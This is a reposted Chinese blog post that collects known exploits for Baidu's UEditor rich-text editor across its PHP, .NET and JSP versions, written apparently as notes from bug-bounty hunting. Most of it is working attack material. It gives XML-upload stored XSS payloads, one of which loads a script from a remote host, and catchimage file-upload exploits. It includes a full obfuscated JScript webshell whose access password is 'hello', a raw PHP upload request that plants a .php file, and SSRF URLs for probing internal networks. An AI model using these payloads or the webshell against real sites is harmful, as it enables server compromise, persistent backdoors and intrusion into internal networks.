ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

百度 UEditor 编辑器漏洞记录

2022-01-15 15:01:45  阅读:293  来源: 互联网

标签:1.4 UEditor ueditor 编辑器 jsp 版本 action php 百度


0x00 前言

整理一下流传的关于 UEditor 的漏洞。

“完整 demo”

近日挖掘教育行业 SRC 时经常遇到 UEditor。如下图是个使用 PHP 版本 UEditor 的站点(.pdf 文件由站点提供在线预览):

浏览文件的访问路径形如

http://www.xxx.com/ueditor/php/upload/file/[年月日]/[特殊规则重命名].pdf

直接将 UEditor 及其开发语言交代了,而且许多站点就是可以任意访问的——喜闻乐见的“完整 demo”。

寻找版本

知道了开发语言,还需要知道具体版本,问题是一些站点找不到“帮助”,就看不到具体版本号。

但其实还是可以找到的。访问 /ueditor/dialogs/help/help.html

可知加载了 help.js 资源,查看源码,有:

document.getElementById('version').innerHTML = parent.UE.version;

所以在编辑器页可以依靠控制台打印版本。

0x01 XML 文件上传导致存储型 XSS

  • 开发语言:PHP
  • 版本:1.4.3.3

Gitee 上有个比较流行的二开版本,没有测试过。

先上传一个图片,使用抓包工具如 BurpSuite 拦截,进行修改再放行,主要是三处:

  1. 修改地址中的 action ,应当为

    POST /ueditor/php/controller.php?action=uploadfile HTTP/1.1
    
  2. 修改 Body 中的 Content-Disposition 对应的值,把文件后缀改为 .xml

    Content-Disposition: form-data; name="upfile"; filename="test.xml"
    
  3. Body 中的原图片数据全部删除,改为 payload

具体 XML 内容可以是:

  1. 弹窗 XSS

    <html>
    <head></head>
    <body>
    <something:script xmlns:something="http://www.w3.org/1999/xhtml">
    alert(1);
    </something:script>
    </body>
    </html>
    
  2. URL 跳转

    <html>
    <head></head>
    <body>
    <something:script xmlns:something="http://www.w3.org/1999/xhtml">
    window.location.href="https://www.t00ls.net/";
    </something:script>
    </body>
    </html>
    
  3. 加载远程 JS

    <html>
    <head></head>
    <body>
    <something:script src="http://xss.com/xss.js" xmlns:something="http://www.w3.org/1999/xhtml">
    </something:script>
    </body>
    </html>
    

0x02 任意文件上传

  • 开发语言:.net
  • 版本:1.3.6,1.4.3.3,1.5.0

官方早已经下架了 .net 版本,但是不排除仍有活跃实例的可能。

该漏洞是由于上传文件时,使用的 CrawlerHandler 类未对文件类型进行检验,导致了任意文件上传。1.4.3.3 版本和 1.5.0 版本利用方式稍有不同,1.4.3.3 需要一个能正确解析的域名。而 1.5.0 用 IP 和普通域名都可以。相对来说 1.5.0 版本更加容易触发此漏洞;而在 1.4.3.3 版本中攻击者需要提供一个正常的域名地址就可以绕过判断。

1.5.0

首先在公网可访问的服务器上放置一个图片马,然后构造一个 POST 即可。

POST /ueditor/net/controller.ashx?action=catchimage

中间省略各种 Header

source%5B%5D=http%3A%2F%2F[IP]/1.gif?.aspx

1.4.3.3

构造一个 HTML:

<form action="http://[目标 IP]/ueditor/net/controller.ashx?action=catchimage" enctype="application/x-www-form-urlencoded"  method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p >
  <input type="submit" value="Submit" />
</form>

本地打开后填写一个远端可访问的图片马地址并提交。如下的马是可用的。

GIF89a
<script runat="server" language="JScript">
   function popup(str) {
       var q = "u";
       var w = "afe";
       var a = q + "ns" + w; var b= eval(str,a); return(b);
  }
</script>
<% popup(popup(System.Text.Encoding.GetEncoding(65001). GetString(System.Convert.FromBase64String("UmVxdWVzdC5JdGVtWyJoZWxsbyJd")))); %>

访问口令为 hello。

1.3.6

比较古早的版本,还没有解决 00 截断的问题。为了使大马能够被正常解析,需要将 %00 置于 .asp 后面,这样上传的时候被当成 test.asp.jpg,解析的时候被当成 test.asp。注意不是纯文本的 %00,而是 URL-decode 过的不可见字符。另外,没做过混淆的大马可能只在本地测试时能过。

补充

PHP 相应版本也有文件上传问题。贴个 PoC:

POST http://localhost/ueditor/php/action_upload.php?action=uploadimage&CONFIG[imagePathFormat]=ueditor/php/upload/fuck&CONFIG[imageMaxSize]=9999999&CONFIG[imageAllowFiles][]=.php&CONFIG[imageFieldName]=fuck HTTP/1.1
Host: localhost
Connection: keep-alive
Content-Length: 222
Cache-Control: max-age=0
Origin: null
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/60.0.3112.78 Safari/537.36
Content-Type: multipart/form-data; boundary=——WebKitFormBoundaryDMmqvK6b3ncX4xxA
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4
———WebKitFormBoundaryDMmqvK6b3ncX4xxA
Content-Disposition: form-data; name="fuck"; filename="fuck.php"
Content-Type: application/octet-stream
<?php 
phpinfo();
?>
———WebKitFormBoundaryDMmqvK6b3ncX4xxA—

注意,shell 路径由 CONFIG[imagePathFormat]=ueditor/php/upload/fuck 决定,按照 PoC 中所给条件,则访问路径应当是 http://localhost/ueditor/php/upload/fuck.php。

0x03 SSRF

  • 开发语言:JSP
  • 版本:1.4.3

1.4.3.1 版本就修复了这个问题。

该版本的 SSRF 触发点:

  • /jsp/controller.jsp?action=catchimage&source[]=
  • /jsp/getRemoteImage.jsp?upfile=
  • /php/controller.php?action=catchimage&source[]=

所以可以构造出 http://1.1.1.1:8080/cmd/ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/PCtm_d9c8750bed0b3c7d089fa7d55720d6cf.png。

更多 PoC:

  • /ueditor/jsp/getRemoteImage.jsp?upfile=http://127.0.0.1/favicon.ico?.jpg
  • /ueditor/jsp/controller.jsp?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
  • /ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif

通过修改 source 参数,能够探查内网相关端口。有道翻译网站出过 SSRF 问题,导致内网内容可被直接访问。

提交后的返回信息很容易判断,只要 state 出现 Unicode 编码,那必然是失败了(用中文提示如何如何失败)。

小结

其实还有一处 XSS,位于 1.4.3.3 版本的编辑器页内,但也是用处不大。即使能够成为存储型,也很难让他人访问。

除了代码问题外,UEditor 还可能导致敏感文件外泄——因为可以在线管理存储好的附件。

标签:1.4,UEditor,ueditor,编辑器,jsp,版本,action,php,百度
来源: https://www.cnblogs.com/4thrun/p/15807017.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有